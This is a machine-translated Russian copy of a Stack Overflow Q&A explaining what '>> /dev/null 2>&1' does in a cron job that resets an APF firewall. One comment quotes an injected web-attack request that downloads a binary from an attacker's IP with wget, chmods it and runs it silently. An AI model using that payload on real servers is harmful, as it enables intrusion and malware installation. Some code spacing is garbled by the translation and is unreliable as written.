Что такое / dev / null 2> & 1?

237

Я нашел этот кусок кода в /etc/cron.daily/apf

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

Это сбрасывает и перезагружает брандмауэр.
Я не понимаю >> /dev/null 2>&1часть.

Какова цель наличия этого в cron? Это отменяет мои правила брандмауэра. Могу ли я безопасно удалить эту работу cron?

отдыха
источник
1
К вашему сведению: более короткий способ заставить процесс замолчать >&- 2>&-.
Zaz
22
@Josh: зачем делать вещи еще более загадочными, чем они есть?
эндолит
4
@Josh Это закрывает соответствующие FD, что может привести к прерыванию работы программ.
glglgl
1
такое 2>&1 > /dev/nullже как > /dev/null 2>&1 ? Это кажется мне более естественным ...
edelans
6
@edelans Нет. Таким образом перенаправляется stderr на стандартный вывод, но тогда /dev/nullбудет выводиться только исходный стандартный вывод на -stderr. Попробуйте инструмент на gist.github.com/zigg/344361751c0110419b0f
зигг

Ответы:

354

>> /dev/nullперенаправляет стандартный вывод ( stdout) на /dev/null, который отбрасывает его.

( >>Кажется, что это излишне, так как >>означает добавление в то время, как >означает усечение и запись, и добавление или запись в /dev/nullимеет одинаковый чистый эффект. Обычно я просто использую >по этой причине.)

2>&1перенаправляет стандартную ошибку ( 2) на стандартный выход ( 1), который затем также удаляет его, поскольку стандартный вывод уже перенаправлен.

zigg
источник
7
Что &символ указывает там 2>&1.
Никто
17
& указывает дескриптор файла. Обычно есть 3 файловых дескриптора - стандартный ввод, вывод и ошибка.
Тестирование123
1
@ Никто не проверяет мой ответ ниже на ваш вопрос stackoverflow.com/questions/10508843/what-is-dev-null-21/…
Vishrant
1
Если & указывает дескриптор файла, то почему нет & до 2?
user6708151
1
На всякий случай, если другие не прочитают приведенный ниже ответ с объяснением файловых дескрипторов:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain
199

Разобьем >> /dev/null 2>&1утверждение на части:


Часть 1: >> перенаправление вывода

Это используется для перенаправления вывода программы и добавления вывода в конец файла. Больше...


Часть 2: /dev/null специальный файл

Это специальный файл псевдо-устройств .

Команда ls -l /dev/nullвыдаст вам детали этого файла:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

Вы наблюдали crw? Это означает, что это файл псевдоустройства, относящийся к типу специальных символов, который обеспечивает последовательный доступ.

/dev/nullпринимает и отбрасывает все входные данные; не производит вывод (всегда возвращает указание конца файла при чтении). Ссылка: Википедия


Часть 3: 2>&1 дескриптор файла

Всякий раз, когда вы выполняете программу, операционная система всегда открывает три файла: стандартный ввод, стандартный вывод и стандартную ошибку, как мы знаем, всякий раз, когда файл открывается, операционная система (из ядра ) возвращает неотрицательное целое число, называемое дескриптором файла . Дескриптор файла для этих файлов - 0, 1 и 2 соответственно.

Так 2>&1просто говорит перенаправить стандартную ошибку на стандартный вывод.

& означает, что все, что следует, является дескриптором файла, а не именем файла.

Короче говоря, с помощью этой команды вы говорите своей программе не кричать во время выполнения.

Какова важность использования 2>&1?

Если вы не хотите выводить какие-либо данные, даже в случае возникновения ошибки в терминале. Чтобы объяснить более четко, давайте рассмотрим следующий пример:

$ ls -l > /dev/null

Для вышеприведенной команды вывод не был напечатан в терминале, но что, если эта команда выдает ошибку:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

Несмотря на то, что я перенаправляю вывод /dev/null, он печатается в терминале. Это потому, что мы не перенаправляем вывод ошибок /dev/null, поэтому для того, чтобы перенаправить вывод ошибок, необходимо добавить 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1
Vishrant
источник
2
Хороший пример! Не знаю, что> не будет перенаправлять STDERR раньше.
miao.wang
Красиво объяснил! очень информативно. Спасибо. Это помогло бы мне понять веб-атаку, с которой я недавно столкнулся. Атакующий внедряет некоторый вредоносный код через запрос POST, который содержит фрагмент кода выше.
Сохел Патан
1
@Vishrant Введенный код похож на: POST / user / password? Name [% 23post_render] [] = system & name [% 23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http: /… > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx - это IP-адрес злоумышленника, который также указан на многих сайтах как оскорбительный. Первым и главным предупредительным шагом является блокировка IP-адреса в брандмауэре, а также шаблон таких IP-адресов. Атака заключалась в перенаправлении на сторонний сайт при загрузке домашней страницы. В логе сервера Apache показан сомнительный IP и запрос.
Сохел Патан,
5
Мне просто интересно, почему мы не используем '&' и до 2. Может кто-нибудь, пожалуйста, очистить мои сомнения?
Снехасиш Кармакар
1
@SnehasishKarmakar законный вопрос. Я считаю , что ОС достаточно умен , чтобы понять , что первый аргумент будет дескриптор файла , но >это оператор перенаправления, то , что следует оператор перенаправления , как ожидается , будет месторасположение файла , добавляя &перед тем 1указывает , что это не файл , в котором приложение должны перенаправить вывод , но дескриптор файла. Я буду признателен, если кто-то может добавить больше деталей этого комментария.
Вишрант
58

Это способ тихо выполнить программу и скрыть весь вывод.

/dev/nullэто специальный объект файловой системы, который отбрасывает все, что в него записано. Перенаправление потока в него означает скрытие вывода вашей программы.

Эта 2>&1часть означает «перенаправить поток ошибок в выходной поток», поэтому при перенаправлении выходного потока поток ошибок также перенаправляется. Даже если ваша программа пишет stderrсейчас, этот вывод также будет отброшен.

dasblinkenlight
источник
37
На 2>&1самом деле, на самом деле перенаправляет stderrна stdout. Разница между этим и тем, что вы заявили, лучше всего иллюстрируется заменой порядка перенаправлений, например 2>&1 >/dev/null.
зигг
15

/dev/null стандартный файл, который отбрасывает все, что вы записали в него, но сообщает, что операция записи прошла успешно

1стандартный вывод и 2стандартная ошибка

2>&1перенаправляет стандартную ошибку на стандартный вывод. &1указывает дескриптор файла (стандартный вывод), в противном случае (если вы используете just 1) вы перенаправите стандартную ошибку в файл с именем 1. [any command] >>/dev/null 2>&1перенаправляет все стандартные ошибки в стандартный вывод и записывает все это в /dev/null.

Юрий
источник
7

Я использую >> /dev/null 2>&1для тихого cronjob. Cronjob сделает работу, но не отправит отчет на мою электронную почту.

Насколько я знаю, не удаляйте /dev/null. Это полезно, особенно когда вы запускаете cPanel , его можно использовать для одноразовых отчетов cronjob.

Кристиан
источник
2

Как описано другими, запись в / dev / null исключает вывод программы. Обычно cron отправляет электронное письмо для каждого вывода процесса, начатого cronjob. Таким образом, записывая вывод в / dev / null, вы предотвращаете спам, если указали свой адрес в cron.

FSMaxB
источник
0

Редактировать /etc/conf.apf. Set DEVEL_MODE="0". DEVEL_MODEset to 1добавит задание cron для остановки apf через 5 минут.

dstonek
источник